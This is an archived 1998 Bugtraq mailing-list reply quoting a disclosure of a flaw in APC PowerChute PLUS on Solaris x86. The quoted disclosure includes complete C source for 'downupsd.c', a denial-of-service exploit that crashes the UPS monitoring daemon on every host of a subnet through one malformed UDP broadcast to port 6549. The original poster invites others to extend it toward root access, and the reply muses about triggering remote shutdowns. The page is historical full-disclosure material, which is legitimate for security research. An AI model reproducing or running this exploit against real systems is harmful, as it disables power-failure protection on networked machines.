Bugtraq mailing list archives
Re: APC UPS PowerChute PLUS exploit...
From: cds () MCMURDO GOV (Chris Liljenstolpe - Network Engineer)
Date: Mon, 13 Apr 1998 05:53:21 +0000
Greetings, I hope that this UDP port (I haven't looked at PowerChute) is just used by the UPS's to report problems, and that PowerChute doesn't use that to make critical decisions (like shutdown). I know PowerChute CAN be used to shutdown the system, I just don't know if that feature can be triggered by a network reported event. That makes for an even better exploit.... Chris --On Friday, 10 April, 1998, 23:13 -0400 "Theo Schlossnagle" <jesus () BLAZE CS JHU EDU> wrote:
I run Solaris x86 (2.5, 2.5.1, 2.6). I have a APC Smart UPS 700 (Model shouldn't matter for the exploit). Exploit in PowerChute PLUS v4.2.2 The PowerChute PLUS software distributed with the UPSs provides a TCP/IP (UDP/IP) way to communicate with (for monitoring) UPS on the local subnet. It listens on port 6549 and listens for broadcast requests (UDP). So if you make as if you are actually requesting information, but send it the wrong packet... Well end of ./_upsd (the name of the daemon). I assume an exploit could be tailored to leverage root privileges. The REALLY BAD news is that ALL upsd's on the subnet are effected (UDP broadcast) I would wager that this is not only a problem on Solaris x86. If anyone finds this to work on other platforms I would love to know, also if someone tailors it to gain root or other interesting things, I would love to here about it. I spoke with APC (www.apcc.com) and they blew me off. Forwarded the issue to their techinical crew, but I never heard word again. Here goes: ----- begin downupsd.c ----- #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> int main(int argc, char **argv) { int s; long on=1; size_t addrsize; char buffer[256]; struct sockaddr_in toaddr, fromaddr; struct hostent h_ent; if(argc!=2) { fprintf(stderr, "Usage:\n\t%s <hostname running upsd>\n", argv[0]); exit(0); } s = socket(AF_INET,SOCK_DGRAM,0); setsockopt(s, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)); printf("Crashing upsd on host's subnet: %s\n", argv[1]); toaddr.sin_family = AF_INET; toaddr.sin_port = htons(0); toaddr.sin_addr.s_addr = 0x00000000; bind(s, (struct sockaddr *)&toaddr, sizeof(struct sockaddr_in)); toaddr.sin_port = htons(6549); memcpy((char *)&h_ent, (char *)gethostbyname(argv[1]), sizeof(h_ent)); memcpy(&toaddr.sin_addr.s_addr, h_ent.h_addr, sizeof(struct in_addr)); toaddr.sin_addr.s_addr |= 0xff000000; strcpy(buffer, "027|1|public|9|0|0|2010~|0\0"); sendto(s, buffer, 256, 0, (struct sockaddr *)&toaddr, sizeof(struct sockaddr_in)); printf("Crashed...\n"); close(s); } ------- end downupsd.c ----- Theo Schlossnagle jesus () cs jhu edu That jesus guy
Chris Liljenstolpe - Network Engineer, NOC - McMurdo Station Antarctica Antarctic Supt. Assoc. - under contract to USAP, Nat. Science Foundation OPP mailto:cds () mcmurdo gov TEL: +1 509 689 6270 FAX: +1 509 690 6293 PSC 469, Box 700, APO AP 96599-5700 USA Lat: 77 50 53 S Long: 166 40 06 E
Current thread:
- APC UPS PowerChute PLUS exploit... Theo Schlossnagle (Apr 10)
- MGE UPS Systems Ryan Murray (Apr 12)
- Re: MGE UPS Systems Theo de Raadt (Apr 13)
- DNS Tunnel - through bastion hosts Oskar Pearson (Apr 13)
- Re: APC UPS PowerChute PLUS exploit... Richard Peters (Apr 13)
- GSM SIMs cloned ! Rop Gonggrijp (Apr 13)
- Re: APC UPS PowerChute PLUS exploit... Pascal Gienger (Apr 13)
- (follow-up) Wietse's RPCBIND Chiaki Ishikawa (Apr 13)
- <Possible follow-ups>
- Re: APC UPS PowerChute PLUS exploit... Chris Liljenstolpe - Network Engineer (Apr 12)
- Re: APC UPS PowerChute PLUS exploit... Iain P.C. Moffat (Apr 13)
- IRIX LicenseManager(1M) Vulnerabilities SGI Security Coordinator (Apr 13)
- Re: APC UPS PowerChute PLUS exploit... Rick Perry (Apr 13)
- Re: APC UPS PowerChute PLUS exploit... Pascal Gienger (Apr 14)
- Re: APC UPS PowerChute PLUS exploit... Scott Stone (Apr 14)
- New possible exploit for 2.0.33 (kfree_skb error) Paul (Apr 15)
- Re: New possible exploit for 2.0.33 (kfree_skb error) Alan Cox (Apr 15)
- Linux 2.0.33 vulnerability: fragment patterns Alan Cox (Apr 16)
- Linux 2.0.33 vulnerability: oversized packets Michal Zalewski (Apr 17)
- Linux 2.0.34pre10: Summary of fixed vulnerabilities Alan Cox (Apr 20)
- MGE UPS Systems Ryan Murray (Apr 12)